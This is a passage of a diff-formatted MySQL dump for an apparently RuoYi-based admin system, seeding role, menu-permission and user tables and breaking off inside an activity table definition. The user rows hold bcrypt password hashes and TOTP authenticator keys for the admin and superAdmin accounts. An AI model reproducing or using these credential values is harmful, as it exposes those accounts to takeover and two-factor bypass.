'admin', '2023-08-22 20:34:10', '普通角色'); +INSERT INTO `sys_role` VALUES (100, '代理', 'agent', 3, '1', 1, 1, '0', '0', 'admin', '2023-08-22 19:21:02', 'admin', '2023-08-22 20:34:16', NULL); +INSERT INTO `sys_role` VALUES (102, '财务', 'money', 4, '1', 1, 1, '0', '0', 'admin', '2023-08-25 01:35:44', '', NULL, NULL); + +-- ---------------------------- +-- Table structure for sys_role_dept +-- ---------------------------- +DROP TABLE IF EXISTS `sys_role_dept`; +CREATE TABLE `sys_role_dept` ( + `role_id` bigint(0) NOT NULL COMMENT '角色ID', + `dept_id` bigint(0) NOT NULL COMMENT '部门ID', + PRIMARY KEY (`role_id`, `dept_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '角色和部门关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_role_dept +-- ---------------------------- +INSERT INTO `sys_role_dept` VALUES (2, 100); +INSERT INTO `sys_role_dept` VALUES (2, 105); + +-- ---------------------------- +-- Table structure for sys_role_menu +-- ---------------------------- +DROP TABLE IF EXISTS `sys_role_menu`; +CREATE TABLE `sys_role_menu` ( + `role_id` bigint(0) NOT NULL COMMENT '角色ID', + `menu_id` bigint(0) NOT NULL COMMENT '菜单ID', + PRIMARY KEY (`role_id`, `menu_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '角色和菜单关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_role_menu +-- ---------------------------- +INSERT INTO `sys_role_menu` VALUES (2, 1); +INSERT INTO `sys_role_menu` VALUES (2, 2); +INSERT INTO `sys_role_menu` VALUES (2, 3); +INSERT INTO `sys_role_menu` VALUES (2, 100); +INSERT INTO `sys_role_menu` VALUES (2, 101); +INSERT INTO `sys_role_menu` VALUES (2, 102); +INSERT INTO `sys_role_menu` VALUES (2, 103); +INSERT INTO `sys_role_menu` VALUES (2, 104); +INSERT INTO `sys_role_menu` VALUES (2, 105); +INSERT INTO `sys_role_menu` VALUES (2, 106); +INSERT INTO `sys_role_menu` VALUES (2, 107); +INSERT INTO `sys_role_menu` VALUES (2, 108); +INSERT INTO `sys_role_menu` VALUES (2, 109); +INSERT INTO `sys_role_menu` VALUES (2, 110); +INSERT INTO `sys_role_menu` VALUES (2, 111); +INSERT INTO `sys_role_menu` VALUES (2, 112); +INSERT INTO `sys_role_menu` VALUES (2, 113); +INSERT INTO `sys_role_menu` VALUES (2, 114); +INSERT INTO `sys_role_menu` VALUES (2, 115); +INSERT INTO `sys_role_menu` VALUES (2, 116); +INSERT INTO `sys_role_menu` VALUES (2, 117); +INSERT INTO `sys_role_menu` VALUES (2, 500); +INSERT INTO `sys_role_menu` VALUES (2, 501); +INSERT INTO `sys_role_menu` VALUES (2, 1000); +INSERT INTO `sys_role_menu` VALUES (2, 1001); +INSERT INTO `sys_role_menu` VALUES (2, 1002); +INSERT INTO `sys_role_menu` VALUES (2, 1003); +INSERT INTO `sys_role_menu` VALUES (2, 1004); +INSERT INTO `sys_role_menu` VALUES (2, 1005); +INSERT INTO `sys_role_menu` VALUES (2, 1006); +INSERT INTO `sys_role_menu` VALUES (2, 1007); +INSERT INTO `sys_role_menu` VALUES (2, 1008); +INSERT INTO `sys_role_menu` VALUES (2, 1009); +INSERT INTO `sys_role_menu` VALUES (2, 1010); +INSERT INTO `sys_role_menu` VALUES (2, 1011); +INSERT INTO `sys_role_menu` VALUES (2, 1012); +INSERT INTO `sys_role_menu` VALUES (2, 1013); +INSERT INTO `sys_role_menu` VALUES (2, 1014); +INSERT INTO `sys_role_menu` VALUES (2, 1015); +INSERT INTO `sys_role_menu` VALUES (2, 1016); +INSERT INTO `sys_role_menu` VALUES (2, 1017); +INSERT INTO `sys_role_menu` VALUES (2, 1018); +INSERT INTO `sys_role_menu` VALUES (2, 1019); +INSERT INTO `sys_role_menu` VALUES (2, 1020); +INSERT INTO `sys_role_menu` VALUES (2, 1021); +INSERT INTO `sys_role_menu` VALUES (2, 1022); +INSERT INTO `sys_role_menu` VALUES (2, 1023); +INSERT INTO `sys_role_menu` VALUES (2, 1024); +INSERT INTO `sys_role_menu` VALUES (2, 1025); +INSERT INTO `sys_role_menu` VALUES (2, 1026); +INSERT INTO `sys_role_menu` VALUES (2, 1027); +INSERT INTO `sys_role_menu` VALUES (2, 1028); +INSERT INTO `sys_role_menu` VALUES (2, 1029); +INSERT INTO `sys_role_menu` VALUES (2, 1030); +INSERT INTO `sys_role_menu` VALUES (2, 1031); +INSERT INTO `sys_role_menu` VALUES (2, 1032); +INSERT INTO `sys_role_menu` VALUES (2, 1033); +INSERT INTO `sys_role_menu` VALUES (2, 1034); +INSERT INTO `sys_role_menu` VALUES (2, 1035); +INSERT INTO `sys_role_menu` VALUES (2, 1036); +INSERT INTO `sys_role_menu` VALUES (2, 1037); +INSERT INTO `sys_role_menu` VALUES (2, 1038); +INSERT INTO `sys_role_menu` VALUES (2, 1039); +INSERT INTO `sys_role_menu` VALUES (2, 1040); +INSERT INTO `sys_role_menu` VALUES (2, 1041); +INSERT INTO `sys_role_menu` VALUES (2, 1042); +INSERT INTO `sys_role_menu` VALUES (2, 1043); +INSERT INTO `sys_role_menu` VALUES (2, 1044); +INSERT INTO `sys_role_menu` VALUES (2, 1045); +INSERT INTO `sys_role_menu` VALUES (2, 1046); +INSERT INTO `sys_role_menu` VALUES (2, 1047); +INSERT INTO `sys_role_menu` VALUES (2, 1048); +INSERT INTO `sys_role_menu` VALUES (2, 1049); +INSERT INTO `sys_role_menu` VALUES (2, 1050); +INSERT INTO `sys_role_menu` VALUES (2, 1051); +INSERT INTO `sys_role_menu` VALUES (2, 1052); +INSERT INTO `sys_role_menu` VALUES (2, 1053); +INSERT INTO `sys_role_menu` VALUES (2, 1054); +INSERT INTO `sys_role_menu` VALUES (2, 1055); +INSERT INTO `sys_role_menu` VALUES (2, 1056); +INSERT INTO `sys_role_menu` VALUES (2, 1057); +INSERT INTO `sys_role_menu` VALUES (2, 1058); +INSERT INTO `sys_role_menu` VALUES (2, 1059); +INSERT INTO `sys_role_menu` VALUES (2, 1060); +INSERT INTO `sys_role_menu` VALUES (2, 2015); +INSERT INTO `sys_role_menu` VALUES (2, 2016); +INSERT INTO `sys_role_menu` VALUES (2, 2017); +INSERT INTO `sys_role_menu` VALUES (2, 2018); +INSERT INTO `sys_role_menu` VALUES (2, 2019); +INSERT INTO `sys_role_menu` VALUES (2, 2020); +INSERT INTO `sys_role_menu` VALUES (2, 2021); +INSERT INTO `sys_role_menu` VALUES (2, 2022); +INSERT INTO `sys_role_menu` VALUES (2, 2023); +INSERT INTO `sys_role_menu` VALUES (2, 2024); +INSERT INTO `sys_role_menu` VALUES (2, 2025); +INSERT INTO `sys_role_menu` VALUES (2, 2026); +INSERT INTO `sys_role_menu` VALUES (2, 2027); +INSERT INTO `sys_role_menu` VALUES (2, 2028); +INSERT INTO `sys_role_menu` VALUES (2, 2029); +INSERT INTO `sys_role_menu` VALUES (2, 2030); +INSERT INTO `sys_role_menu` VALUES (2, 2031); +INSERT INTO `sys_role_menu` VALUES (2, 2032); +INSERT INTO `sys_role_menu` VALUES (2, 2033); +INSERT INTO `sys_role_menu` VALUES (2, 2034); +INSERT INTO `sys_role_menu` VALUES (2, 2035); +INSERT INTO `sys_role_menu` VALUES (2, 2036); +INSERT INTO `sys_role_menu` VALUES (2, 2037); +INSERT INTO `sys_role_menu` VALUES (2, 2038); +INSERT INTO `sys_role_menu` VALUES (2, 2039); +INSERT INTO `sys_role_menu` VALUES (2, 2040); +INSERT INTO `sys_role_menu` VALUES (2, 2041); +INSERT INTO `sys_role_menu` VALUES (2, 2042); +INSERT INTO `sys_role_menu` VALUES (2, 2043); +INSERT INTO `sys_role_menu` VALUES (2, 2048); +INSERT INTO `sys_role_menu` VALUES (2, 2049); +INSERT INTO `sys_role_menu` VALUES (2, 2050); +INSERT INTO `sys_role_menu` VALUES (2, 2051); +INSERT INTO `sys_role_menu` VALUES (2, 2064); +INSERT INTO `sys_role_menu` VALUES (2, 2066); +INSERT INTO `sys_role_menu` VALUES (2, 2067); +INSERT INTO `sys_role_menu` VALUES (2, 2069); +INSERT INTO `sys_role_menu` VALUES (2, 2070); +INSERT INTO `sys_role_menu` VALUES (2, 2071); +INSERT INTO `sys_role_menu` VALUES (2, 2072); +INSERT INTO `sys_role_menu` VALUES (2, 2075); +INSERT INTO `sys_role_menu` VALUES (2, 2077); +INSERT INTO `sys_role_menu` VALUES (2, 2080); +INSERT INTO `sys_role_menu` VALUES (2, 2082); +INSERT INTO `sys_role_menu` VALUES (2, 2083); +INSERT INTO `sys_role_menu` VALUES (2, 2084); +INSERT INTO `sys_role_menu` VALUES (2, 2085); +INSERT INTO `sys_role_menu` VALUES (2, 2086); +INSERT INTO `sys_role_menu` VALUES (2, 2089); +INSERT INTO `sys_role_menu` VALUES (2, 2090); +INSERT INTO `sys_role_menu` VALUES (2, 2091); +INSERT INTO `sys_role_menu` VALUES (2, 2092); +INSERT INTO `sys_role_menu` VALUES (2, 2093); +INSERT INTO `sys_role_menu` VALUES (2, 2094); +INSERT INTO `sys_role_menu` VALUES (2, 2096); +INSERT INTO `sys_role_menu` VALUES (2, 2098); +INSERT INTO `sys_role_menu` VALUES (2, 2099); +INSERT INTO `sys_role_menu` VALUES (2, 2100); +INSERT INTO `sys_role_menu` VALUES (2, 2102); +INSERT INTO `sys_role_menu` VALUES (2, 2103); +INSERT INTO `sys_role_menu` VALUES (2, 2104); +INSERT INTO `sys_role_menu` VALUES (2, 2105); +INSERT INTO `sys_role_menu` VALUES (2, 2107); +INSERT INTO `sys_role_menu` VALUES (2, 2108); +INSERT INTO `sys_role_menu` VALUES (2, 2109); +INSERT INTO `sys_role_menu` VALUES (2, 2110); +INSERT INTO `sys_role_menu` VALUES (2, 2111); +INSERT INTO `sys_role_menu` VALUES (2, 2112); +INSERT INTO `sys_role_menu` VALUES (2, 2113); +INSERT INTO `sys_role_menu` VALUES (2, 2114); +INSERT INTO `sys_role_menu` VALUES (2, 2115); +INSERT INTO `sys_role_menu` VALUES (2, 2116); +INSERT INTO `sys_role_menu` VALUES (2, 2117); +INSERT INTO `sys_role_menu` VALUES (2, 2118); +INSERT INTO `sys_role_menu` VALUES (2, 2119); +INSERT INTO `sys_role_menu` VALUES (2, 2120); +INSERT INTO `sys_role_menu` VALUES (2, 2121); +INSERT INTO `sys_role_menu` VALUES (2, 2122); +INSERT INTO `sys_role_menu` VALUES (2, 2123); +INSERT INTO `sys_role_menu` VALUES (2, 2124); +INSERT INTO `sys_role_menu` VALUES (2, 2125); +INSERT INTO `sys_role_menu` VALUES (2, 2126); +INSERT INTO `sys_role_menu` VALUES (2, 2127); +INSERT INTO `sys_role_menu` VALUES (2, 2128); +INSERT INTO `sys_role_menu` VALUES (2, 2129); +INSERT INTO `sys_role_menu` VALUES (2, 2130); +INSERT INTO `sys_role_menu` VALUES (2, 2131); +INSERT INTO `sys_role_menu` VALUES (2, 2132); +INSERT INTO `sys_role_menu` VALUES (2, 2133); +INSERT INTO `sys_role_menu` VALUES (2, 2134); +INSERT INTO `sys_role_menu` VALUES (2, 2135); +INSERT INTO `sys_role_menu` VALUES (2, 2136); +INSERT INTO `sys_role_menu` VALUES (2, 2137); +INSERT INTO `sys_role_menu` VALUES (2, 2138); +INSERT INTO `sys_role_menu` VALUES (2, 2139); +INSERT INTO `sys_role_menu` VALUES (2, 2140); +INSERT INTO `sys_role_menu` VALUES (2, 2141); +INSERT INTO `sys_role_menu` VALUES (2, 2142); +INSERT INTO `sys_role_menu` VALUES (2, 2143); +INSERT INTO `sys_role_menu` VALUES (2, 2144); +INSERT INTO `sys_role_menu` VALUES (2, 2145); +INSERT INTO `sys_role_menu` VALUES (2, 2146); +INSERT INTO `sys_role_menu` VALUES (2, 2147); +INSERT INTO `sys_role_menu` VALUES (2, 2148); +INSERT INTO `sys_role_menu` VALUES (2, 2149); +INSERT INTO `sys_role_menu` VALUES (2, 2150); +INSERT INTO `sys_role_menu` VALUES (2, 2151); +INSERT INTO `sys_role_menu` VALUES (2, 2152); +INSERT INTO `sys_role_menu` VALUES (2, 2153); +INSERT INTO `sys_role_menu` VALUES (2, 2154); +INSERT INTO `sys_role_menu` VALUES (2, 2155); +INSERT INTO `sys_role_menu` VALUES (2, 2156); +INSERT INTO `sys_role_menu` VALUES (2, 2157); +INSERT INTO `sys_role_menu` VALUES (2, 2158); +INSERT INTO `sys_role_menu` VALUES (2, 2159); +INSERT INTO `sys_role_menu` VALUES (2, 2160); +INSERT INTO `sys_role_menu` VALUES (2, 2161); +INSERT INTO `sys_role_menu` VALUES (2, 2162); +INSERT INTO `sys_role_menu` VALUES (2, 2163); +INSERT INTO `sys_role_menu` VALUES (2, 2164); +INSERT INTO `sys_role_menu` VALUES (2, 2165); +INSERT INTO `sys_role_menu` VALUES (2, 2166); +INSERT INTO `sys_role_menu` VALUES (2, 2167); +INSERT INTO `sys_role_menu` VALUES (2, 2168); +INSERT INTO `sys_role_menu` VALUES (2, 2169); +INSERT INTO `sys_role_menu` VALUES (2, 2170); +INSERT INTO `sys_role_menu` VALUES (2, 2171); +INSERT INTO `sys_role_menu` VALUES (2, 2172); +INSERT INTO `sys_role_menu` VALUES (2, 2173); +INSERT INTO `sys_role_menu` VALUES (2, 2174); +INSERT INTO `sys_role_menu` VALUES (2, 2175); +INSERT INTO `sys_role_menu` VALUES (2, 2176); +INSERT INTO `sys_role_menu` VALUES (2, 2177); +INSERT INTO `sys_role_menu` VALUES (2, 2178); +INSERT INTO `sys_role_menu` VALUES (2, 2179); +INSERT INTO `sys_role_menu` VALUES (2, 2180); +INSERT INTO `sys_role_menu` VALUES (2, 2181); +INSERT INTO `sys_role_menu` VALUES (2, 2182); +INSERT INTO `sys_role_menu` VALUES (2, 2183); +INSERT INTO `sys_role_menu` VALUES (2, 2184); +INSERT INTO `sys_role_menu` VALUES (2, 2185); +INSERT INTO `sys_role_menu` VALUES (2, 2186); +INSERT INTO `sys_role_menu` VALUES (2, 2187); +INSERT INTO `sys_role_menu` VALUES (2, 2188); +INSERT INTO `sys_role_menu` VALUES (2, 2189); +INSERT INTO `sys_role_menu` VALUES (2, 2190); +INSERT INTO `sys_role_menu` VALUES (2, 2191); +INSERT INTO `sys_role_menu` VALUES (2, 2192); +INSERT INTO `sys_role_menu` VALUES (2, 2193); +INSERT INTO `sys_role_menu` VALUES (2, 2194); +INSERT INTO `sys_role_menu` VALUES (2, 2195); +INSERT INTO `sys_role_menu` VALUES (2, 2196); +INSERT INTO `sys_role_menu` VALUES (2, 2197); +INSERT INTO `sys_role_menu` VALUES (2, 2198); +INSERT INTO `sys_role_menu` VALUES (2, 2199); +INSERT INTO `sys_role_menu` VALUES (2, 2200); +INSERT INTO `sys_role_menu` VALUES (2, 2201); +INSERT INTO `sys_role_menu` VALUES (2, 2202); +INSERT INTO `sys_role_menu` VALUES (2, 2229); +INSERT INTO `sys_role_menu` VALUES (2, 2230); +INSERT INTO `sys_role_menu` VALUES (2, 2231); +INSERT INTO `sys_role_menu` VALUES (2, 2232); +INSERT INTO `sys_role_menu` VALUES (2, 2233); +INSERT INTO `sys_role_menu` VALUES (2, 2234); +INSERT INTO `sys_role_menu` VALUES (2, 2235); +INSERT INTO `sys_role_menu` VALUES (2, 2236); +INSERT INTO `sys_role_menu` VALUES (2, 2237); +INSERT INTO `sys_role_menu` VALUES (2, 2238); +INSERT INTO `sys_role_menu` VALUES (2, 2239); +INSERT INTO `sys_role_menu` VALUES (2, 2240); +INSERT INTO `sys_role_menu` VALUES (2, 2241); +INSERT INTO `sys_role_menu` VALUES (2, 2242); +INSERT INTO `sys_role_menu` VALUES (2, 2243); +INSERT INTO `sys_role_menu` VALUES (2, 2244); +INSERT INTO `sys_role_menu` VALUES (2, 2245); +INSERT INTO `sys_role_menu` VALUES (2, 2246); +INSERT INTO `sys_role_menu` VALUES (2, 2247); +INSERT INTO `sys_role_menu` VALUES (2, 2248); +INSERT INTO `sys_role_menu` VALUES (2, 2249); +INSERT INTO `sys_role_menu` VALUES (2, 2250); +INSERT INTO `sys_role_menu` VALUES (2, 2251); +INSERT INTO `sys_role_menu` VALUES (2, 2252); +INSERT INTO `sys_role_menu` VALUES (2, 2253); +INSERT INTO `sys_role_menu` VALUES (2, 2254); +INSERT INTO `sys_role_menu` VALUES (2, 2255); +INSERT INTO `sys_role_menu` VALUES (2, 2256); +INSERT INTO `sys_role_menu` VALUES (2, 2257); +INSERT INTO `sys_role_menu` VALUES (2, 2258); +INSERT INTO `sys_role_menu` VALUES (2, 2259); +INSERT INTO `sys_role_menu` VALUES (2, 2260); +INSERT INTO `sys_role_menu` VALUES (2, 2261); +INSERT INTO `sys_role_menu` VALUES (2, 2262); +INSERT INTO `sys_role_menu` VALUES (2, 2263); +INSERT INTO `sys_role_menu` VALUES (2, 2264); +INSERT INTO `sys_role_menu` VALUES (2, 2265); +INSERT INTO `sys_role_menu` VALUES (2, 2266); +INSERT INTO `sys_role_menu` VALUES (2, 2267); +INSERT INTO `sys_role_menu` VALUES (2, 2268); +INSERT INTO `sys_role_menu` VALUES (100, 2015); +INSERT INTO `sys_role_menu` VALUES (100, 2016); +INSERT INTO `sys_role_menu` VALUES (100, 2027); +INSERT INTO `sys_role_menu` VALUES (100, 2028); +INSERT INTO `sys_role_menu` VALUES (100, 2029); +INSERT INTO `sys_role_menu` VALUES (100, 2030); +INSERT INTO `sys_role_menu` VALUES (100, 2031); +INSERT INTO `sys_role_menu` VALUES (100, 2032); +INSERT INTO `sys_role_menu` VALUES (100, 2033); +INSERT INTO `sys_role_menu` VALUES (100, 2034); +INSERT INTO `sys_role_menu` VALUES (100, 2035); +INSERT INTO `sys_role_menu` VALUES (100, 2036); +INSERT INTO `sys_role_menu` VALUES (100, 2039); +INSERT INTO `sys_role_menu` VALUES (100, 2040); +INSERT INTO `sys_role_menu` VALUES (100, 2042); +INSERT INTO `sys_role_menu` VALUES (100, 2043); +INSERT INTO `sys_role_menu` VALUES (100, 2048); +INSERT INTO `sys_role_menu` VALUES (100, 2050); +INSERT INTO `sys_role_menu` VALUES (100, 2051); +INSERT INTO `sys_role_menu` VALUES (100, 2064); +INSERT INTO `sys_role_menu` VALUES (100, 2066); +INSERT INTO `sys_role_menu` VALUES (100, 2067); +INSERT INTO `sys_role_menu` VALUES (100, 2069); +INSERT INTO `sys_role_menu` VALUES (100, 2070); +INSERT INTO `sys_role_menu` VALUES (100, 2071); +INSERT INTO `sys_role_menu` VALUES (100, 2072); +INSERT INTO `sys_role_menu` VALUES (100, 2075); +INSERT INTO `sys_role_menu` VALUES (100, 2082); +INSERT INTO `sys_role_menu` VALUES (100, 2086); +INSERT INTO `sys_role_menu` VALUES (100, 2089); +INSERT INTO `sys_role_menu` VALUES (100, 2091); +INSERT INTO `sys_role_menu` VALUES (100, 2092); +INSERT INTO `sys_role_menu` VALUES (100, 2112); +INSERT INTO `sys_role_menu` VALUES (100, 2115); +INSERT INTO `sys_role_menu` VALUES (100, 2116); +INSERT INTO `sys_role_menu` VALUES (100, 2117); +INSERT INTO `sys_role_menu` VALUES (100, 2118); +INSERT INTO `sys_role_menu` VALUES (100, 2119); +INSERT INTO `sys_role_menu` VALUES (100, 2120); +INSERT INTO `sys_role_menu` VALUES (100, 2121); +INSERT INTO `sys_role_menu` VALUES (100, 2126); +INSERT INTO `sys_role_menu` VALUES (100, 2127); +INSERT INTO `sys_role_menu` VALUES (100, 2128); +INSERT INTO `sys_role_menu` VALUES (100, 2129); +INSERT INTO `sys_role_menu` VALUES (100, 2135); +INSERT INTO `sys_role_menu` VALUES (100, 2136); +INSERT INTO `sys_role_menu` VALUES (100, 2137); +INSERT INTO `sys_role_menu` VALUES (100, 2146); +INSERT INTO `sys_role_menu` VALUES (100, 2147); +INSERT INTO `sys_role_menu` VALUES (100, 2148); +INSERT INTO `sys_role_menu` VALUES (100, 2149); +INSERT INTO `sys_role_menu` VALUES (100, 2150); +INSERT INTO `sys_role_menu` VALUES (100, 2151); +INSERT INTO `sys_role_menu` VALUES (100, 2152); +INSERT INTO `sys_role_menu` VALUES (100, 2157); +INSERT INTO `sys_role_menu` VALUES (100, 2158); +INSERT INTO `sys_role_menu` VALUES (100, 2159); +INSERT INTO `sys_role_menu` VALUES (100, 2168); +INSERT INTO `sys_role_menu` VALUES (100, 2169); +INSERT INTO `sys_role_menu` VALUES (100, 2170); +INSERT INTO `sys_role_menu` VALUES (100, 2171); +INSERT INTO `sys_role_menu` VALUES (100, 2176); +INSERT INTO `sys_role_menu` VALUES (100, 2177); +INSERT INTO `sys_role_menu` VALUES (100, 2178); +INSERT INTO `sys_role_menu` VALUES (100, 2179); +INSERT INTO `sys_role_menu` VALUES (100, 2180); +INSERT INTO `sys_role_menu` VALUES (100, 2181); +INSERT INTO `sys_role_menu` VALUES (100, 2229); +INSERT INTO `sys_role_menu` VALUES (100, 2230); +INSERT INTO `sys_role_menu` VALUES (100, 2231); +INSERT INTO `sys_role_menu` VALUES (100, 2232); +INSERT INTO `sys_role_menu` VALUES (100, 2233); +INSERT INTO `sys_role_menu` VALUES (100, 2234); +INSERT INTO `sys_role_menu` VALUES (100, 2235); +INSERT INTO `sys_role_menu` VALUES (100, 2236); +INSERT INTO `sys_role_menu` VALUES (100, 2237); +INSERT INTO `sys_role_menu` VALUES (100, 2238); +INSERT INTO `sys_role_menu` VALUES (100, 2239); +INSERT INTO `sys_role_menu` VALUES (100, 2240); +INSERT INTO `sys_role_menu` VALUES (100, 2247); +INSERT INTO `sys_role_menu` VALUES (100, 2248); +INSERT INTO `sys_role_menu` VALUES (100, 2250); +INSERT INTO `sys_role_menu` VALUES (100, 2251); +INSERT INTO `sys_role_menu` VALUES (100, 2259); +INSERT INTO `sys_role_menu` VALUES (102, 2027); +INSERT INTO `sys_role_menu` VALUES (102, 2028); +INSERT INTO `sys_role_menu` VALUES (102, 2029); +INSERT INTO `sys_role_menu` VALUES (102, 2030); +INSERT INTO `sys_role_menu` VALUES (102, 2031); +INSERT INTO `sys_role_menu` VALUES (102, 2032); +INSERT INTO `sys_role_menu` VALUES (102, 2039); +INSERT INTO `sys_role_menu` VALUES (102, 2070); +INSERT INTO `sys_role_menu` VALUES (102, 2071); +INSERT INTO `sys_role_menu` VALUES (102, 2072); +INSERT INTO `sys_role_menu` VALUES (102, 2112); +INSERT INTO `sys_role_menu` VALUES (102, 2115); +INSERT INTO `sys_role_menu` VALUES (102, 2116); +INSERT INTO `sys_role_menu` VALUES (102, 2117); +INSERT INTO `sys_role_menu` VALUES (102, 2118); +INSERT INTO `sys_role_menu` VALUES (102, 2119); +INSERT INTO `sys_role_menu` VALUES (102, 2120); +INSERT INTO `sys_role_menu` VALUES (102, 2121); +INSERT INTO `sys_role_menu` VALUES (102, 2201); +INSERT INTO `sys_role_menu` VALUES (102, 2202); + +-- ---------------------------- +-- Table structure for sys_user +-- ---------------------------- +DROP TABLE IF EXISTS `sys_user`; +CREATE TABLE `sys_user` ( + `user_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `dept_id` bigint(0) NULL DEFAULT NULL COMMENT '部门ID', + `user_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '用户账号', + `nick_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '用户昵称', + `user_type` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '用户类型(0普通用户 1 组长 2 代理)', + `email` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '用户邮箱', + `phonenumber` varchar(11) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '手机号码', + `sex` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '用户性别(0男 1女 2未知)', + `avatar` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '头像地址', + `password` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '密码', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '帐号状态(0正常 1停用)', + `google_key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '谷歌验证码key', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '删除标志(0代表存在 2代表删除)', + `login_ip` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '最后登录IP', + `login_date` datetime(0) NULL DEFAULT NULL COMMENT '最后登录时间', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `parent_id` bigint(0) NULL DEFAULT NULL COMMENT '组长ID', + PRIMARY KEY (`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 115 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_user +-- ---------------------------- +INSERT INTO `sys_user` VALUES (1, 103, 'admin', '若依', '00', '888@163.com', '18888888888', '0', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.08f7e2241d2d64877a2cd1ae8a32cd5e7.png', '$2a$10$X3Fn4IoHKy9e70Rk77Y0K.VgoqOc8vO9rL.8T0xY.4wiAfTbELSRy', '0', '3WPXWZNYDJ37F5R5A3WBSYBGFYMKJ6YI', '0', '192.168.10.175', '2024-02-21 22:37:34', 'admin', '2023-06-24 15:31:37', '', '2024-02-21 22:37:34', '管理员', NULL); +INSERT INTO `sys_user` VALUES (2, NULL, 'superAdmin', '超级管理员', '0', '', '', '0', '', '$2a$10$5hyD/X.2LIoZ7lUPNPzvGe48Z5XeYjHBPJYgGEOmaiO7V7i1IVHti', '0', '4RFA3USUX3DLLSPRT3FBC3374ISLI3AX', '0', '192.168.3.47', '2023-08-29 19:59:32', 'admin', '2023-08-29 19:17:03', 'admin', '2023-08-29 19:59:31', '超级管理员', NULL); + +-- ---------------------------- +-- Table structure for sys_user_post +-- ---------------------------- +DROP TABLE IF EXISTS `sys_user_post`; +CREATE TABLE `sys_user_post` ( + `user_id` bigint(0) NOT NULL COMMENT '用户ID', + `post_id` bigint(0) NOT NULL COMMENT '岗位ID', + PRIMARY KEY (`user_id`, `post_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户与岗位关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_user_post +-- ---------------------------- +INSERT INTO `sys_user_post` VALUES (1, 1); + +-- ---------------------------- +-- Table structure for sys_user_role +-- ---------------------------- +DROP TABLE IF EXISTS `sys_user_role`; +CREATE TABLE `sys_user_role` ( + `user_id` bigint(0) NOT NULL COMMENT '用户ID', + `role_id` bigint(0) NOT NULL COMMENT '角色ID', + PRIMARY KEY (`user_id`, `role_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户和角色关联表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_user_role +-- ---------------------------- +INSERT INTO `sys_user_role` VALUES (1, 1); +INSERT INTO `sys_user_role` VALUES (2, 1); +INSERT INTO `sys_user_role` VALUES (110, 2); +INSERT INTO `sys_user_role` VALUES (114, 100); + +-- ---------------------------- +-- Table structure for t_activity +-- ---------------------------- +DROP TABLE IF EXISTS `t_activity`; +CREATE TABLE `t_activity` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `status` tinyint(2) UNSIGNED ZEROFILL NOT NULL COMMENT '状态0编辑1上线', + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `display_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `detail_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '详情页', + `detail_status` tinyint(0) NULL DEFAULT NULL, + `loading_url` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `tags` varchar(1024) CHARACTER SET utf8mb4 COLLATE 